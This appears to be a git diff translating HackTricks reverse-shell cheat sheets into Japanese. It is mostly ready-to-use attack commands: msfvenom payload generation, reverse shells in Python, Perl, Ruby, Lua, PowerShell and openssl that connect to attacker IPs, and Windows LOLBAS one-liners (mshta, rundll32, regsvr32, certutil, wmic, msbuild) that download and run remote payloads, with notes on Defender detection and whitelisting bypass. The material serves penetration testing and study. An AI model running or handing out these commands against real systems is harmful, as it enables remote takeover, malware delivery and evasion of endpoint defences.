pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## 参考文献 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..bcc4885b5 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -1,39 +1,21 @@ -# MSFVenom - CheatSheet +# MSFVenom - チートシート {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- -## Basic msfvenom +## 基本的な msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing +`-a` を使用してアーキテクチャを指定することも、`--platform` を使用することもできます。 +## リスト ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## シェルコードを作成する際の一般的なパラメータ ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **リバースシェル** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - -### Bind Shell - +### バインドシェル ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### ユーザーの作成 ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - -### CMD Shell - +### CMDシェル ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **コマンドを実行** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### エンコーダー ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### 実行可能ファイル内に埋め込まれた ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` +## Linuxペイロード -## Linux Payloads - -### Reverse Shell - +### リバースシェル ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - -### Bind Shell - +### バインドシェル ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` +## **MACペイロード** -## **MAC Payloads** - -### **Reverse Shell:** - +### **リバースシェル:** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - -### **Bind Shell** - +### **バインドシェル** ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **ウェブベースのペイロード** ### **PHP** -#### Reverse shel**l** - +#### リバースシェル ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### リバースシェル ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### リバースシェル ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` - ### WAR -#### Reverse Shell - +#### リバースシェル ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **スクリプト言語ペイロード** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** - ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** - ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..de72cadb9 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linuxの [https://gtfobins.github.io/](https://gtfobins.github.io/) のようにWindows用です。\ +明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**どのように**いくつかの**バイナリ**が予期しないアクションを実行するために(悪用)されるかを知ることは有用です。例えば、**任意のコードを実行する**ことです。 ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +被害者 ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +攻撃者 ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) はポータブルで安全なNetcatの代替品です**。Unix系システムとWin32で動作します。強力な暗号化、プログラム実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えたsbdは、TCP/IP通信のための多用途なソリューションを提供します。Windowsユーザーには、Kali Linuxディストリビューションからのsbd.exeバージョンがNetcatの信頼できる代替品として使用できます。 ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - -## Python - +## パイソン ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - -## Perl - +## パール ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## ルビー ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - -## Lua - +## ルア ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +攻撃者 (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +被害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - -## Powershell - +## パワーシェル ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +ネットワークコールを実行しているプロセス: **powershell.exe**\ +ディスクに書き込まれたペイロード: **いいえ** (_少なくともprocmonを使用して見つけることができた場所にはありませんでした!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +ネットワークコールを実行しているプロセス: **svchost.exe**\ +ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**ワンライナー:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**この文書の最後で異なるPowershellシェルについての詳細を取得してください** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードして実行する)** ```xml - + ``` +**Koadic ゾンビを stager hta を使用して非常に簡単にダウンロードして実行できます** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### hta の例 +[**ここから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**検出されたデファンダー** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Dll ハローワールドの例**](https://github.com/carterjones/hello-world-dll) +- [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**検出されたデファンダー** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**ディフェンダーによって検出されました** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**こちらから**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**Koadic ゾンビを stager regsvr を使用して非常に簡単にダウンロードして実行できます** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +B64dll をダウンロードし、デコードして実行します。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +B64exeをダウンロードし、デコードして実行します。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**ディフェンダーによって検出されました** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**ディフェンダーによって検出されました** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +ネットワークコールを実行しているプロセス: **svchost.exe**\ +ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,203 +289,168 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**ディフェンダーによって検出されました** ## **MSIExec** -Attacker - +攻撃者 ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +被害者: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**検出された** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +例の xsl ファイル [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**検出されません** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**wmicを使用して非常に簡単にKoadicゾンビをダウンロードして実行できます** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +この技術を使用して、アプリケーションホワイトリストとPowershell.exeの制限を回避できます。PSシェルが表示されます。\ +これをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**検出されません** ## **CSC** -Compile C# code in the victim machine. - +被害者のマシンでC#コードをコンパイルします。 ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +ここから基本的なC#リバースシェルをダウンロードできます: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**検出されていません** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**試していません** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**試していません** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) -## Powershell Shells +## Powershell シェル ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +**Shells** フォルダには、さまざまなシェルがたくさんあります。Invoke-_PowerShellTcp.ps1_ をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +スクリプトをウェブサーバーで提供し、被害者の端末で実行します: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日)。 -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: 他のnishangシェルを確認する** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +ダウンロードし、ウェブサーバーを起動し、リスナーを開始し、被害者側で実行します: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日)。 -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** - -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... +**powercatが提供するその他のオプション:** +バインドシェル、リバースシェル(TCP、UDP、DNS)、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供... ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +PowerShellランチャーを作成し、ファイルに保存してダウンロードおよび実行します。 ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**悪意のあるコードとして検出されました** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +unicornを使用してmetasploitバックドアのpowershellバージョンを作成します ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +作成したリソースでmsfconsoleを起動します: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +ウェブサーバーを起動して _powershell_attack.txt_ ファイルを提供し、被害者で実行します: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**悪意のあるコードとして検出されました** -**Detected as malicious code** +## もっと -## More - -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) PSコンソールにいくつかの攻撃的なPSモジュールがプリロードされています(暗号化)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) PSコンソールにいくつかの攻撃的なPSモジュールとプロキシ検出が含まれています(IEX) -## References +## 参考文献 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..12b5444ec 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -1,25 +1,16 @@ -# Search Exploits +# 検索エクスプロイト {{#include ../banners/hacktricks-training.md}} -
